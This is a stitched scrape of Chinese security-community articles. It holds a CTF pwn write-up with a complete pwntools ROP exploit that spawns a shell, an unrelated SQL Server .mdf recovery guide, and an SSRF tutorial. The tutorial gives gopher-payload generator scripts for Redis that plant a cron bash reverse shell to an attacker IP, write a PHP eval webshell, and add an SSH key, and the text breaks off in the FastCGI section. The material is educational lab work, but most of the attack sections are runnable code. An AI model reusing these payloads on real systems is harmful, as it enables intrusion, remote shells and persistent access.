当字符串长度为14时，则意味着[ecx+13]就是0，ecx为`buf + 1`，由于目标地址和原地址重叠，所以在执行`movlpd xmm0, qword
ptr [ecx+6]` 时，复制了一个重叠的字节。
### 思路
我们的主要目标是得到尽可能大的分数，这样`index`就能超出数组长度，造成数组溢出。
void __cdecl Play()
{
...
score = calculate();
printf("Total points: %u\n", score);
index = score / 1000;
printf("Your prize: %s\n", buf[score / 1000]);
if ( index )
{
puts(
"You can choose to keep this prize or change it for something else, but you won't get it this turn. What will it be?");
puts("1. Keep.");
puts("2. Change.");
printf("Choose: ");
v0 = get_int();
v2 = v0;
if ( v0 == 1 )
{
puts("OK, enjoy!");
}
else if ( v0 == 2 )
{
read(0, buf[index], 0x20u);
}
...
}
通过查看栈布局可得，当`index`为16时，也就是保存`ebp`的位置，这样我们就能泄露栈地址，又因为其地址旁还黏连了一个程序地址，这样我们又能泄露程序基地址。
-00000040 buf dd 11 dup(?) ; offset
-00000014 var_14 dd ?
-00000010 index dd ?
-0000000C score dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
我们的目标是一个 1 （A），一个 14 （K），三个 100 （Ace of Spades），这样就能得到 16800 的分数，刚好可以完成上面的步骤。
* 利用 strcpy 漏洞，增加 Ace of Spades 牌的数量。
原本 Ace of Spades 牌仅有一张，但是我们可以利用漏洞让其数量增多。这样我们就能获得足以数组溢出的分数。
amount = {100:1, 1:3, 14:4}
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] == 1 and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
for i in range(3):
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] == 100 and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
* 不停的增加目标牌的数量，以增加漏洞利用的概率。
for i in range(40):
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] in amount.keys() and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
print(amount)
* 抽出目标牌从而引发漏洞。
while(True):
for i in range(5):
Draw()
cards = Show()
if(cards.count(1) == 1 and cards.count(14) == 1):
break
Fold()
* 泄露地址并进行ROP拿shell
sh.sendlineafter('Your choice: ', '3') # Play
sh.recvuntil('Your prize: ')
result = sh.recvuntil('\n')
stack_addr = u32(result[:4])
log.success('stack_addr: ' + hex(stack_addr))
image_base_addr = u32(result[4: 4+4]) - 0x1355
log.success('image_base_addr: ' + hex(image_base_addr))
sh.sendlineafter('Choose: ', '2')
layout = [
0,
image_base_addr + elf.plt['puts'],
image_base_addr + 0x00000b24, # : pop ebp ; ret
image_base_addr + elf.got['puts'],
image_base_addr + 0x1094, # push 0 ; call read
stack_addr - 4,
0x100
]
sh.send(flat(layout))
sh.sendlineafter('Your choice: ', '6')
result = sh.recvuntil('\n', drop=True)
libc_addr = u32(result[:4]) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
layout = [
libc_addr + libc.symbols['system'],
libc_addr + libc.symbols['exit'],
libc_addr + libc.search('/bin/sh\0').next(),
0
]
sh.send(flat(layout))
sh.interactive()
### 完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ace_of_spades'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x1268)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def Draw(): sh.sendlineafter('Your choice: ', '1')
def Discard(): sh.sendlineafter('Your choice: ', '2')
def Fold(): sh.sendlineafter('Your choice: ', '5')
# def Play(): sh.sendlineafter('Your choice: ', '3')
def Show():
sh.sendlineafter('Your choice: ', '4')
sh.recvuntil('Your hand is:\n')
result = sh.recvuntil('\x20\n', drop=True)
# print(result)
cards = result.split('\x20')
visual_cards = []
for v in cards:
if(v == '\xf0\x9f\x82\xa1'):
visual_cards += [100]
else:
visual_cards += [ord(v[3]) % 0x10]
return visual_cards
amount = {100:1, 1:3, 14:4}
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] == 1 and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
for i in range(3):
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] == 100 and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
for i in range(40):
while(True):
for i in range(14):
Draw()
cards = Show()
if(cards[8] in amount.keys() and cards[7] not in amount.keys()):
Discard()
amount[cards[8]] += 1
break
Fold()
print(amount)
while(True):
for i in range(5):
Draw()
cards = Show()
if(cards.count(1) == 1 and cards.count(14) == 1):
break
Fold()
sh.sendlineafter('Your choice: ', '3') # Play
sh.recvuntil('Your prize: ')
result = sh.recvuntil('\n')
stack_addr = u32(result[:4])
log.success('stack_addr: ' + hex(stack_addr))
image_base_addr = u32(result[4: 4+4]) - 0x1355
log.success('image_base_addr: ' + hex(image_base_addr))
sh.sendlineafter('Choose: ', '2')
layout = [
0,
image_base_addr + elf.plt['puts'],
image_base_addr + 0x00000b24, # : pop ebp ; ret
image_base_addr + elf.got['puts'],
image_base_addr + 0x1094, # push 0 ; call read
stack_addr - 4,
0x100
]
sh.send(flat(layout))
sh.sendlineafter('Your choice: ', '6')
result = sh.recvuntil('\n', drop=True)
libc_addr = u32(result[:4]) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
layout = [
libc_addr + libc.symbols['system'],
libc_addr + libc.symbols['exit'],
libc_addr + libc.search('/bin/sh\0').next(),
0
]
sh.send(flat(layout))
sh.interactive()
clear()
### patch方法
根本原因出在`strcpy`上，直接自己写一段函数进行替换即可。
mov edi, [esp+4]
mov esi, [esp+8]
xor ecx, ecx
again:
cmp ecx, 52
jae end
mov al, [esi]
test al, al
jz over
mov [edi], al
inc edi
inc esi
inc ecx
jmp again
over:
mov [edi], al
end:
ret
上面这段代码可以直接看成`strncpy(dst, src, 52)`，这里还限制了长度，防止非预期的方式造成溢出。 | 社区文章 |
前段时间要恢复一个仅有.mdf的SQLserver数据库。各种尝试之后发现是SQLserver2012的数据文件。恢复有两种方式。
方法一
步骤一
打开SQL Server Management
Studio，新建一个同名数据库，然后停止数据库服务。进入新建的数据库存储目录。删除数据库文件(即：新建数据库名.mdf和新建数据库名.ldf)。将需要恢复的数据库拷进数据库存储目录。
启动数据库服务。
步骤二
这是可以看到新建的数据库文件状态为：挂起状态。接着新建查询输入如下语句：
--设置为紧急模式
alter database '数据库名字' set emergency;
go
--设置为单用户模式
alter database '数据库名字' set single_user;
go
--查看数据库错误报告
dbcc checkdb('数据库名字') ;
go
--进行修复
dbcc checkdb('数据库名字',[选项]) ;
go
注：这里的[选项]包括：
REPAIR_ALLOW_DATA_LOSS
尝试修复所有错误，这个选项可能导致数据的丢失，慎用！
REPAIR_REBUILD
执行不会导致数据丢失的修复，
REPAIR_FAST
不会执行任何修复动作。
dbccy语法：
DBCC CHECKDB
[ ( database_name | database_id | 0
[ , NOINDEX
| , { REPAIR_ALLOW_DATA_LOSS | REPAIR_FAST | REPAIR_REBUILD } ]
) ]
[ WITH
{
[ ALL_ERRORMSGS ]
[ , EXTENDED_LOGICAL_CHECKS ]
[ , NO_INFOMSGS ]
[ , TABLOCK ]
[ , ESTIMATEONLY ]
[ , { PHYSICAL_ONLY | DATA_PURITY } ]
[ , MAXDOP = number_of_processors ]
}
]
]
其中参数的意义参见：
<https://msdn.microsoft.com/en-us/library/ms176064.aspx>
方法二
打开SQL Server Management
Studio，选中数据库右键选择“附加”，会弹出一个附加数据库的对话框，然后在要附加的数据库那里选择“添加”按钮，定位要恢复的数据库文件，这时会发现数据库详情信息栏那里会有“找不到”日志文件的错误提示，删除它，然后点击确定，等待恢复就好了。 | 社区文章 |
# 学习一年的SSRF总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## SSRF-Labs配置
有些初学者喜欢用这个靶场，讲下怎么搭建
我用的是Ubuntu18；docker和docker-compose配置可以参考[vulhub官网](https://vulhub.org/#/docs/)的配置；下面是谷歌搜的
$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose
Basic关和其他关类似，都有Dockerfile文件，按下图指令参考就好了
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器
查看源码，进入容器的命令如下
$ sudo docker ps
$ sudo docker exec -it 编号 /bin/bash
在Advances系列、Ctf系列中没有dockerfile文件，但有docker-compose.yml文件，这时候我们就要在构建镜像的时候就换docker-compose来创建镜像并开启容器了。例如
$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器
$ docker-compose down #关闭容器
平常也得按时清理：
docker rm $(docker ps -a -q)
docker rmi $(docker images -q)
#第一个是删除所有容器 第二个是删除所有镜像
## 基础
### 相关函数和类
**File_Get_Contents**
// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
上述测试代码中，file_get_contents()
函数将整个文件或一个url所指向的文件读入一个字符串中，并展示给用户，我们构造类似`ssrf.php?url=../../../../../etc/passwd`的paylaod即可读取服务器本地的任意文件。
readfile()函数与file_get_contents()函数相似。
**Fsockopen()**
`fsockopen($hostname,$port,$errno,$errstr,$timeout)`用于打开一个网络连接或者一个Unix
套接字连接，初始化一个套接字连接到指定主机（hostname），实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接，进行传输原始数据。
fsockopen()将返回一个文件句柄，之后可以被其他文件类函数调用（例如：fgets()，fgetss()，fwrite()，fclose()还有feof()）。如果调用失败，将返回false。
PS:上过C的网络编程应该很清楚
// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
构造`ssrf.php?url=www.baidu.com`即可成功触发ssrf并返回百度主页：
**Curl_exec()**
curl_init(url)函数初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close()
函数使用。
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源，并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
构造`ssrf.php?url=www.baidu.com`即可成功触发ssrf并返回百度主页：
**SoapClient**
SOAP是简单对象访问协议，简单对象访问协议（SOAP）是一种轻量的、简单的、基于 XML 的协议，它被设计成在 WEB 上交换结构化的和固化的信息。PHP
的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient是一个php的内置类，当其进行反序列化时，如果触发了该类中的`__call`方法，那么`__call`便方法可以发送HTTP和HTTPS请求。该类的构造函数如下：
public SoapClient :: SoapClient(mixed $wsdl [，array $options ])
* 第一个参数是用来指明是否是wsdl模式。
* 第二个参数为一个数组，如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而 uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后，就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null，然后第二个参数为一个包含location和uri的数组，location选项的值设置为target_url：
// ssrf.php<?php$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
47.xxx.xxx.72监听2333端口，访问ssrf.php，即可在47.xxx.xxx.72上得到访问的数据：
如上图所示，ssrf触发成功。
由于它仅限于http/https协议，所以用处不是很大。但是如果这里的http头部还存在crlf漏洞，那么我们就可以进行ssrf+crlf，注入或修改一些http请求头。见[详情](https://www.anquanke.com/post/id/202025)
### SSRF漏洞利用的相关协议
SSRF漏洞的利用所涉及的协议有：
* file协议： 在有回显的情况下，利用 file 协议可以读取任意文件的内容
* dict协议：泄露安装软件版本信息，查看端口，操作内网redis服务等
* gopher协议：gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
* http/s协议：探测内网主机存活
**_以这俩文件为本章的实验文件_**
### File协议
读取本地文件用的
### HTTP协议
探测一下内网活着的主机（但是很多不会开Http协议，没多大用）
抓一下包，丢BP里面探测一下就行（我自己靶场没写那逻辑，写个思路就行）
### Dict协议
结合端口探测内网服务
比如看看Mysql（这个是需要授权导致的错误，后面会讲）
看看Redis（未授权访问成功的样子）
### Gopher协议
**定义**
Gopher是Internet上一个非常有名的信息查找系统，它将Internet上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处。在WWW出现之前，Gopher是Internet上最主要的信息检索工具，Gopher站点也是最主要的站点，使用tcp70端口。但在WWW出现后，Gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它；
>
> gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
**限制**
gopher协议在各个编程语言中的使用限制
> —wite-curlwrappers选项含义：运用curl工具打开url流
> curl使用curl —version查看版本以及支持的协议
Curl的所需参数是一个URL，即URLEncode后的链接（重点）
**格式**
> gopher://<host>:<port>/<gopher-path>_后接TCP数据流
* gopher的默认端口是70
* 如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的&也需要进行URL编码（详细注意事项见下）
**Gopher发送Get请求**
> 1、问号（？）需要转码为URL编码，也就是%3f
> 2、回车换行要变为%0d%0a,但如果直接用工具转，可能只会有%0a
> 3、在HTTP包的最后要加%0d%0a，代表消息结束（具体可研究HTTP包结束）
可能还没明白:sweat_smile:，写了个脚本直接转换，结果直接复制到BP即可；data是你的报文
import reimport urllib.parsedata=\ '''GET /try.php?a=Wan&b=Zifeng HTTP/1.1Host: 192.168.0.130:8201Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close'''data=urllib.parse.quote(data)strinfo=re.compile('%0A',re.I)new=strinfo.sub('%0D%0A',data)new='gopher://192.168.0.130:8201/_'+new+'%0D%0A'new=urllib.parse.quote(new)with open('Result.txt','w') as f: f.write(new)with open('Result.txt','r') as f: for line in f.readlines(): print(line.strip())
因为BP是抓取浏览器URLEncode编码后的数据，所以我们得对整个gopher协议进行二次编码
这样到达服务器一次解码得到的就是
>
> gopher://192.168.0.130:8201/_GET%20/try.php%3Fa%3DWan%26b%3DZifeng%20HTTP/1.1%0D%0AHost%3A%20192.168.0.130%3A8201%0D%0ACache-> Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AUser-> Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20×64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-> exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AAccept-> Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-> CN%2Czh%3Bq%3D0.9%0D%0AConnection%3A%20close%0D%0A
这样就是可以正常解析的URL（Gopher发送的TCP数据流要求是URLEncode后的，毕竟是伪协议嘛），丢给Curl函数执行完事
**Gopher发送POST请求**
和GET请求一样，放入脚本编码后即可放到URL中
如果改成了POST格式捏？
如果是Content-type为application/x-www-form-urlencoded，那么POST数据也应进行二次编码（该选项含义就是URL编码后的数据）
form-data的话就不需要
**使用注意事项**
* 大部分 PHP 并不会开启 fopen 的 gopher wrapper
* file_get_contents 的 gopher 协议不能 URLencode
* file_get_contents 关于 Gopher 的 302 跳转有 bug，导致利用失败
* PHP 的 curl 默认不 follow 302 跳转
* curl/libcurl 7.43 上 gopher 协议存在 bug（%00 截断），经测试 7.49 可用
## Redis未授权攻击
概念如下
> Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将
> Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空），会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis
> 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config
> 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys
> 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。
>
> 简单说，漏洞的产生条件有以下两点：
>
> * redis 绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网。
> * 没有设置密码认证（默认为空），可以免密码远程登录redis服务。
>
在SSRF漏洞中，如果通过端口扫描等方法发现目标主机上开放6379端口，则目标主机上很有可能存在Redis服务。此时，如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话，那我们就可以利用Gopher协议远程操纵目标主机上的Redis，可以利用
Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等…..
思路都是一样的，就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等，然后将dbfilename（本地数据库文件名）设置为文件名你想要写入的文件名称，最后再执行save或bgsave保存，则我们就指定的目录里写入指定的文件了。
### Redis发送的数据
这个不知道为啥做不出来，嫖了一下图:joy:
有如下环境
> 0.101 攻击者
> 0.100 redis 服务器
> 0.104 web 服务器
首先要搞清楚访问 redis 时每次发送的数据是怎样的，所以先用 `socat` 监听 4444 端口，将 redis 的 6379 端口转发至 4444
来监听 gopher 访问 redis 的流量：
// redis 服务器执行$ socat -v tcp-listen:4444,fork tcp-connect:192.168.0.100:6379
然后在攻击机 `redis-cli` 连接 redis 服务器的 4444 端口，运行一些常见指令，这里 redis 的密码是 123456。
命令依次是输入密码、显示所有键，输出 `name` 键的值。
查看 redis 服务器，得到的回显如下：
那么，如果我们构造 gopher 的 `DATA` 也是这种格式的话，就可以获取到数据。借助 web 服务器利用 SSRF 就可以达到攻击内网 redis
的目的。
但是！实战中最好一次一条指令，url 过长会导致抛出 `UnicodeError: label empty or too long`的异常
> PS：其实我总结一下很简单..:joy_cat:
>
> 每次发的命令字符串都是以空格为分隔符被分成数组，比如auth 123456就变成[‘auth’,’123456’]
>
> 第一行是*+数组长度
>
> 然后就是\$+字符串长度，比如auth长度为四，那么第一行就是\$4，第二行就是auth
>
> 123456长度为六，第一行就是\$6，第二行就是123456
### 攻击：写进定时任务
**必须用Centos起Redis，权限问题；不然无法反弹**
攻击机发送给有SSRF的Win2003，IP见虚拟机环境
主要靠下面几条Redis命令
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave
> 第一条是清空Redis所有数据
>
> 第二条设置键名为1，键值为反弹shell
>
> 第三条设置Redis文件存储目录为Centos下的计划任务目录
>
> 第四条设置Redis存储文件名
>
> 第五条保存设置
根据命令，自写计划任务反弹Shell的py脚本，参数你们都看得懂= =
import urllib.parseprotocol="gopher://"ip="192.168.0.129"port="6379"reverse_ip="192.168.0.132"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
发送！
Centos就能看见产生了计划任务
Kali也接收到了反弹Shell
URL二次解码后，能看到传过去的命令
**_第二次虚拟环境_**
**攻击机 192.168.0.128**
**Win_2003 192.168.0.130**
**Centos 192.168.0.141**
**Kali 192.168.0.132**
**Ubuntu 192.168.0.142**
### 攻击：绝对路径写Webshell
当然这个很少见了，开Redis的内网服务器会开Web服务么= =
需要执行的Redis命令如下
flushallset 1 '<?php eval($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
然后生成命令的脚本
import urllib.parseprotocol="gopher://"ip="192.168.0.141"port="6379"shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"filename="shell.php"path="/var/www/"passwd=""cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
然后发包
已经写入了Web目录~
### 攻击：写入SSH公钥
使用`ssh-keygen -t
rsa`生成公钥和私钥。RSA加密算法就是公钥加密，私钥解密；所以我们要把公钥给服务器，然后用自己私钥登录即可。（如果redis那台服务器没有目录的话一定要想办法生成好，不然会报路径错误）
我们需要执行老样子的Redis命令
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave
还是老样子的脚本
import urllib.parseprotocol="gopher://"ip="192.168.0.141"port="6379"ssh_pub="ssh-rsa AAAAB3NzaC1yc2EAAAADAQ"+\ "ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT"+\ "CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm"+\ "yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG"+\ "iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL"+\ "P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz"+\ "P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine"filename="authorized_keys"path="/root/.ssh/"passwd=""cmd=["flushall", "set 1 {}".format(ssh_pub.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
出现这个就说明写入成功了
然后SSH连接即可
## FAST-CGI攻击
### CGI
Apache和PHP有很多交互方式，主要有module、cgi和fastcgi模式三种
CGI模式下，此时 php 是一个独立的进程比如 php-cgi.exe，web 服务器也是一个独立的进程比如 apache.exe，然后当 Web
服务器监听到 HTTP 请求时，会去调用 php-cgi 进程，他们之间通过 cgi 协议，服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给
cgi 进程，cgi 进程拿到内容就会去解析对应 php 文件，得到的返回结果在返回给 web 服务器，最后 web
服务器返回到客户端，但随着网络技术的发展，CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP
要生成一个动态页面，系统就必须启动一个新的进程以运行 CGI 程序，不断地 fork 是一项很消耗时间和资源的工作。
### FASTCGI
**概述**
fastcgi 本身是一个协议，在 cgi 协议上进行了一些优化，众所周知，CGI 进程的反复加载是 CGI 性能低下的主要原因，如果 CGI
解释器保持在内存中 并接受 FastCGI 进程管理器调度，则可以提供良好的性能、伸缩性、Fail-Over 特性等等。 简而言之，CGI 模式是
apache2 接收到请求去调用 CGI 程序，而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程，而不再是 apache
去主动调用 php-cgi，而 fastcgi 进程又提供了很多辅助功能比如内存管理，垃圾处理，保障了 cgi 的高效性，并且 CGI
此时是常驻在内存中，不会每次请求重新启动
**FastCGI Record**
Fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同，record的头固定8个字节，body是由头中的contentLength指定，其结构如下：
typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength];} FCGI_Record;
头由8个uchar类型的变量组成，每个变量1字节。其中，`requestId`占两个字节，一个唯一的标志id，以避免多个请求之间的影响；`contentLength`占两个字节，表示body的大小。
语言端解析了fastcgi头以后，拿到`contentLength`，然后再在TCP流里读取大小等于`contentLength`的数据，这就是body体。
Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。
可见，一个fastcgi record结构最大支持的body大小是2^16^，也就是65536字节
**FastCGI Type**
`Type`就是指定该record的作用。因为fastcgi一个record的大小是有限的，作用也是单一的，所以我们需要在一个TCP流里传输多个record。通过`type`来标志每个record的作用，用`requestId`作为同一次请求的id。
也就是说，每次请求，会有多个record，他们的`requestId`是相同的。
借用[该文章](http://blog.csdn.net/shreck66/article/details/50355729)中的一个表格，列出最主要的几种`type`（其他杂七杂八的上网查吧）：
type值 | 主要含义
---|---
1 | 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1，用来表明此消息为请求开始的第一个消息
2 | 异常断开与php-fpm的交互
3 | 在与php-fpm交互中所发的最后一个消息中type值为此，以表明交互的正常结束
4 | 在交互过程中给php-fpm传递环境参数时，将type设为此，以表明消息中包含的数据为某个name-value对
